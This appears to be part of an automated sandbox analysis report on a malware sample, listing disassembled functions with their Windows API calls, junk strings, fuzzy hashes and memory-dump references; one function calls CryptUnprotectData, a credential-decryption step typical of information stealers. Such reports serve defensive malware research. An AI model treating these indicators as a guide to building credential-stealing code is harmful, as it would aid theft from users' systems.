Instruction Fuzzy Hash: 6011A4B4240308BFEB14CF64DC99FAA77B5FB89700F208058F915AB390C776A941CB50

Function 00BD7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BE0E00,00000000,?), ref: 00BD79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00BD79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00BE0E00,00000000,?), ref: 00BD79C4
wsprintfA.USER32 ref: 00BD79F3

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: f86e5986f830a31065e0d0bd7dd3fec35404fa53178a76a979d1ca444033a29b
Instruction ID: 68413404da2fab1ff37b127ae96b19e8f2bef7e5dd5a08e8d0dc37222f940e27
Opcode Fuzzy Hash: f86e5986f830a31065e0d0bd7dd3fec35404fa53178a76a979d1ca444033a29b
Instruction Fuzzy Hash: EF115AB2904218ABCB14DFCADD44BBEB7F8FB4CB11F04415AF601B2280E23A5944C7B1

Function 00BD7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013CE248,00000000,?,00BE0E10,00000000,?,00000000,00000000), ref: 00BD7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00BD7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013CE248,00000000,?,00BE0E10,00000000,?,00000000,00000000,?), ref: 00BD7A7D
wsprintfA.USER32 ref: 00BD7AB7

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b069e980d001995f9d43823cbde4ef632d6869ffb16420ff100467e837c0e126
Instruction ID: 4dbb6f5d12461368aef4e8189c456f0a1aa46f86de70b33d58b9ff7a790b9081
Opcode Fuzzy Hash: b069e980d001995f9d43823cbde4ef632d6869ffb16420ff100467e837c0e126
Instruction Fuzzy Hash: F611A0B0A45218DFDB108B55DC49F99B7B8FB04711F0042EAE506A3280D7741A84CB51

Function 00F89808 Relevance: 5.3, Strings: 3, Instructions: 1598COMMON

Download Yara Rule

Strings

<6?w, xrefs: 00F89AE5
1}, xrefs: 00F89F8E
l)og, xrefs: 00F8AAC0

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <6?w$l)og$1}
API String ID: 0-392482550
Opcode ID: 6e642820eb04e5c8497f56fdeac505c5644befcdd404bccc01ff58da07d1e5d3
Instruction ID: f0dd800e7062338035ef2c77f99320794b7f6367431c4fcb8647d4e4bc4e8e6e
Opcode Fuzzy Hash: 6e642820eb04e5c8497f56fdeac505c5644befcdd404bccc01ff58da07d1e5d3
Instruction Fuzzy Hash: 03B216F360C2049FE3046E2DEC8577ABBE9EF94720F1A463DEAC583744EA3558058697

Function 00F8644C Relevance: 5.3, Strings: 3, Instructions: 1597COMMON

Download Yara Rule

Strings

Y!y, xrefs: 00F865F6
A{v, xrefs: 00F864FA
2Cj, xrefs: 00F87521

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2Cj$A{v$Y!y
API String ID: 0-1802732071
Opcode ID: 418a5f9b3925694aebda2d4fc1e4dd17713c8ddb53ad6558e4ec0afa6c94c35f
Instruction ID: 9aa07e356623a46954cf2dc003126db866d486c114fe835d3cce3027110d225a
Opcode Fuzzy Hash: 418a5f9b3925694aebda2d4fc1e4dd17713c8ddb53ad6558e4ec0afa6c94c35f
Instruction Fuzzy Hash: 68A2F7F360C2049FE304AE2DEC8567ABBE9EF94720F16493DE6C4C7744EA3598058796

Function 00BD3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00BDE118,00000000,00000001,00BDE108,00000000), ref: 00BD3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00BD37B0

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 5db013d49d4924bfcb1e8759de2abd87e744cd7424bf1025b357b493f1a6f670
Instruction ID: 5f1f9b49dc735a7164406dae6413128dbfb70ba4b67affbf284875826352efb6
Opcode Fuzzy Hash: 5db013d49d4924bfcb1e8759de2abd87e744cd7424bf1025b357b493f1a6f670
Instruction Fuzzy Hash: 8E41F970A00A189FDB24DB58CC95B9BB7B4BB48702F4081D9E618EB2D0E771AEC5CF51

Function 00BC9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00BC9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00BC9BA3
LocalFree.KERNEL32(?), ref: 00BC9BD3

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 405b14d288189dd55fef6e4a16b56d583003ba5ef13606a714f22ae561dc062e
Instruction ID: 4a250260ba5902ed88ec173247d9ebd03dd51978c1b0e75f00faeb84d3e95df6
Opcode Fuzzy Hash: 405b14d288189dd55fef6e4a16b56d583003ba5ef13606a714f22ae561dc062e
Instruction Fuzzy Hash: 6E11E8B4A00209EFDB04DF94D989EAE77B5FB88300F1085A8E815A7350D775AE54CB61

Function 00F84D82 Relevance: 3.9, Strings: 2, Instructions: 1370COMMON

Download Yara Rule

Strings

wu~K, xrefs: 00F85973
(kw, xrefs: 00F85702

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wu~K$(kw
API String ID: 0-1060209229
Opcode ID: d2f21acb2c691bf23d91614a9a61424ed6e2d0ebe13913e55cd59aafd3b40e5e
Instruction ID: c5e1f5e69d65885d930f12b615ea8b6834e64a0d5168e6651bfdc3ec8651c102
Opcode Fuzzy Hash: d2f21acb2c691bf23d91614a9a61424ed6e2d0ebe13913e55cd59aafd3b40e5e
Instruction Fuzzy Hash: 039207F3A086009FE308AE2DEC8577AB7E5EF94720F16893DE6C5C7740E63558058697

Function 00EA13B1 Relevance: 2.7, Strings: 2, Instructions: 183COMMON

Download Yara Rule

Strings

2Ym, xrefs: 00EA14C8
rpk, xrefs: 00EA1479

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2Ym$rpk
API String ID: 0-3215571682
Opcode ID: d2fc79a7802c281af0e6be37574a4ea512799085d0309150652b8ab147b2b423
Instruction ID: 63f21ad8bafb6f6313026c15b2da50d7f8006e1757fc8913cb137a4485fe11cf
Opcode Fuzzy Hash: d2fc79a7802c281af0e6be37574a4ea512799085d0309150652b8ab147b2b423
Instruction Fuzzy Hash: F7511AF39182109FE7586E2CDC9177ABBE9EB54321F1A493EDAC4D3344DA75480086C6

Function 00F7EC21 Relevance: 1.8, Strings: 1, Instructions: 506COMMON

Download Yara Rule

Strings

ZC%, xrefs: 00F7EC3D

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ZC%
API String ID: 0-238729973
Opcode ID: 63c1bb6e30dab81c2b31dc5323a0152c392243ac6f5a40867cf75ce5fc033b0c
Instruction ID: 757fbe067512d8b5763a819797d3693019d5d709d756d84f30f387fb0039bc05
Opcode Fuzzy Hash: 63c1bb6e30dab81c2b31dc5323a0152c392243ac6f5a40867cf75ce5fc033b0c
Instruction Fuzzy Hash: B8F1C3F36086009FE7046E19EC8177AFBE6EFD4720F1A893DE6C487744DA3558058A97

Function 00F00EF3 Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

O`?j, xrefs: 00F01062

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: O`?j
API String ID: 0-1599995437
Opcode ID: e824d0437195db68111d610cea09f3c9e40bd59a23d3807603af7a3e6bfeeddc
Instruction ID: 8c71139befb94eb2675cd3b922a86099862b06eb66163448c6bddcde31ec521f
Opcode Fuzzy Hash: e824d0437195db68111d610cea09f3c9e40bd59a23d3807603af7a3e6bfeeddc
Instruction Fuzzy Hash: E4513DF3A082049FE3046E7CEC4476BBBD9EF94720F19463DEAC4D3784DA3858058656

Function 00F76A03 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

D?y, xrefs: 00F76BDC

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: D?y
API String ID: 0-1981770236
Opcode ID: 1508ae38041f9738df6dab4db0b38f0fce499153f629428fd1f11dcfbd9c9ca0
Instruction ID: 05c52376d56bc8cf39bdc9a1be578bd8508811edd3c5f229b73011d3137da25d
Opcode Fuzzy Hash: 1508ae38041f9738df6dab4db0b38f0fce499153f629428fd1f11dcfbd9c9ca0
Instruction Fuzzy Hash: A46138B3A183105BE350AE2DDC8477AB7D9EF94720F1A423DDF8993780E93A6D044796

Function 00E5B484 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

$}, xrefs: 00E5B58C

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $}
API String ID: 0-997030075
Opcode ID: 140a0dcc92c3118789f56914a4932f9a2d50680679096038f3e7ff4d57e29d9d
Instruction ID: 9d56cbb81e07403b9088763e4af515ef8503dce1e039a34ea20c3a37dc8bb358
Opcode Fuzzy Hash: 140a0dcc92c3118789f56914a4932f9a2d50680679096038f3e7ff4d57e29d9d
Instruction Fuzzy Hash: 3E5104F3A597045BF3086968ED953B676C6DBD4321F2B823DE79983B88EC7E48014285

Function 01095148 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

foE, xrefs: 01095182

Memory Dump Source

Source File: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmpDownload File
